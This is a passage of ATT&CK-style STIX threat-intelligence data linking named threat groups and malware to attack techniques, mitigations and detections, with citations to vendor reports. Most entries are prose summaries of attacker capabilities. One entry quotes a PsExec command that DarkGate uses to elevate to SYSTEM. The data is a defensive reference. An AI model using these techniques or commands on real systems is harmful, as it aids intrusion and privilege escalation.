[{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. 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Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Shark](https://attack.mitre.org/software/S1019) has the ability to upload files from the compromised host over a DNS or HTTP C2 channel.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-08-31T21:34:36.543Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--99854cc8-f202-4e03-aa0a-4f8a4af93229", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--084ac639-2502-4020-8938-65352349acbb", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Volgmer Nov 2017", "description": "US-CERT. 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(n.d.). Operation SMN: Axiom Threat Actor Group Report. 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Retrieved March 2, 2021."}], "modified": "2021-03-30T20:00:52.489Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) has used VBScript code on the victim's machine.(Citation: PTSecurity Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--088c3553-db7f-4e97-9f32-75e483d59cba", "type": "relationship", "created": "2021-03-23T20:49:40.265Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", "description": "Kaspersky Lab. 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Retrieved March 22, 2021."}], "modified": "2021-03-23T20:49:40.265Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has collected the current date and time of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--088cbe38-25e2-42a0-b65e-252bb1865d18", "type": "relationship", "created": "2021-04-19T22:06:49.161Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. 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(2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2021-04-20T12:38:48.122Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to decrypt encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). 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(2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T21:29:34.302Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) tries to elevate privileges to <code>SYSTEM</code> using PsExec to locally execute as a service, such as <code>cmd /c c:\\temp\\PsExec.exe -accepteula -j -d -s [Target Binary]</code>.(Citation: Trellix Darkgate 2023)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08a74c86-5a98-4634-a93c-9c192d3e4fc9", "type": "relationship", "created": "2020-08-25T20:11:53.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NSA/FBI Drovorub August 2020", "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF", "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}], "modified": "2020-08-25T20:11:53.139Z", "description": "[Drovorub](https://attack.mitre.org/software/S0502) can transfer files from the victim machine.(Citation: NSA/FBI Drovorub August 2020)", "relationship_type": "uses", "source_ref": "malware--99164b38-1775-40bc-b77b-a2373b14540a", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08b30f76-ca12-4d2c-9345-ee51bfd54e9f", "type": "relationship", "created": "2021-12-07T14:46:10.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). 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Retrieved December 6, 2021."}], "modified": "2021-12-08T19:32:46.147Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08b4b3f1-3c20-4e70-8a42-99fd5f191b12", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "alientvault macspy", "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.", "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"}], "modified": "2020-01-17T19:50:53.351Z", "description": "[MacSpy](https://attack.mitre.org/software/S0282) deletes any temporary files it creates(Citation: alientvault macspy)", "relationship_type": "uses", "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08bc171a-147c-4888-a0cb-c5fcebdc9b95", "type": "relationship", "created": "2021-03-01T14:07:36.786Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint LookBack Malware Aug 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}], "modified": "2021-04-26T13:29:32.728Z", "description": "[LookBack](https://attack.mitre.org/software/S0582) can kill processes and delete services.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--08c45e87-edef-455d-a15a-4612f2312e29", "created": "2022-04-06T20:07:52.246Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has relied on victims clicking a malicious document for execution.(Citation: MalwareBytes LazyScripter Feb 2021) ", "modified": "2022-04-06T20:07:52.246Z", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--08c69567-a511-4a07-ab5d-a5bf77594129", "created": "2021-10-01T01:57:31.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Trend Micro TeamTNT", "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.699Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has modified the permissions on binaries with <code>chattr</code>.(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--08c8fe77-b0b9-45e7-a2bf-e09257fa83f7", "created": "2022-06-03T14:58:35.937Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[DanBot](https://attack.mitre.org/software/S1014) can use a scheduled task for installation.(Citation: SecureWorks August 2019)", "modified": "2022-06-03T14:58:35.937Z", "relationship_type": "uses", "source_ref": "malware--b8d48deb-450c-44f6-a934-ac8765aa89cb", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08d7395b-b3e6-4ae2-be46-31347d1d5eaa", "type": "relationship", "created": "2021-08-24T14:16:39.382Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10292089-1.v2 TAIDOOR August 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "description": "CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 \u2013 Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}], "modified": "2021-08-24T14:22:49.556Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) can use <code>GetLocalTime</code> and <code>GetSystemTime</code> to collect system time.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08d8941b-e4be-44f1-8a3f-765b8f5d1196", "type": "relationship", "created": "2022-02-02T21:05:49.036Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Threatpost Lizar May 2021", "url": "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/", "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}, {"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-04T22:03:05.892Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) has a command to open the command-line on the infected system.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a", "type": "relationship", "created": "2017-05-31T21:33:27.048Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "source_name": "FireEye APT30"}], "modified": "2019-03-22T18:44:28.612Z", "description": "(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", "target_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08d9bd35-4d07-42f0-b462-c9c8b5a9dbab", "type": "relationship", "created": "2019-06-24T13:13:57.243Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/", "source_name": "Intezer HiddenWasp Map 2019"}], "modified": "2020-02-11T16:20:25.117Z", "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) creates a user account as a means to provide initial persistence to the compromised machine.(Citation: Intezer HiddenWasp Map 2019)", "relationship_type": "uses", "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08dd36a7-dee0-4f25-b3dc-d030c32151f5", "type": "relationship", "created": "2020-02-05T19:34:05.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-02-09T15:58:04.966Z", "description": "Enable application control solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498", "type": "relationship", "created": "2019-06-13T16:53:10.338Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-27T19:56:54.621Z", "description": "Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.", "relationship_type": "mitigates", "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--08e05216-9133-4056-bbc9-b91ea0a7c6f5", "created": "2021-09-14T03:13:16.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Shlayer jamf gatekeeper bypass 2021", "description": "Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.", "url": "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"}, {"source_name": "sentinelone shlayer to zshlayer", "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"}, {"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T20:46:31.752Z", "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the <code>mktemp</code> utility to make random and unique filenames for payloads, such as <code>export tmpDir=\"$(mktemp -d /tmp/XXXXXXXXXXXX)\"</code> or <code>mktemp -t Installer</code>.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: Shlayer jamf gatekeeper bypass 2021)", "relationship_type": "uses", "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08e172e1-561d-4bb9-a1a5-259131686547", "type": "relationship", "created": "2021-10-01T17:24:01.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 KerrDown February 2019", "url": "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", "description": "Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus\u2019 new Downloader, KerrDown. Retrieved October 1, 2021."}], "modified": "2021-10-01T17:24:01.838Z", "description": "[Kerrdown](https://attack.mitre.org/software/S0585) can use a VBS base64 decoder function published by Motobit.(Citation: Unit 42 KerrDown February 2019)", "relationship_type": "uses", "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08e70a50-f4fe-4856-9bd1-a7098f802fca", "type": "relationship", "created": "2021-09-23T12:44:50.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}], "modified": "2021-09-23T12:44:50.358Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has harvested valid administrative credentials for lateral movement.(Citation: CrowdStrike Carbon Spider August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--08f2da07-4e03-46bd-a3d9-c79ef7dd9a45", "created": "2023-07-12T20:35:24.120Z", "revoked": false, "external_references": [{"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-12T20:35:24.120Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) downloaded tools from sites including file.io, GitHub, and paste.ee.(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "relationship_type": "uses", "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08f4dfcb-c394-470d-851f-045bbc38cdb5", "type": "relationship", "created": "2020-06-01T14:41:54.666Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-01T14:41:54.666Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to clean up and remove data structures from a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08f53e1a-7326-48ed-ac0e-2b0af2d93985", "type": "relationship", "created": "2020-01-24T15:51:52.476Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", "source_name": "Microsoft W32Time May 2017"}], "modified": "2020-03-25T15:24:26.686Z", "description": "Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry. (Citation: Microsoft W32Time May 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08f7bb2b-38b3-458e-8852-abb296c9980a", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08fc37d1-2314-4661-abdb-1bf0472b2bf1", "type": "relationship", "created": "2020-01-24T17:42:23.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T17:42:23.793Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08fccacb-803c-4d00-baa7-ed6af83660ae", "type": "relationship", "created": "2019-07-08T15:24:25.014Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}], "modified": "2019-07-14T21:04:45.841Z", "description": "(Citation: Symantec Waterbug Jun 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 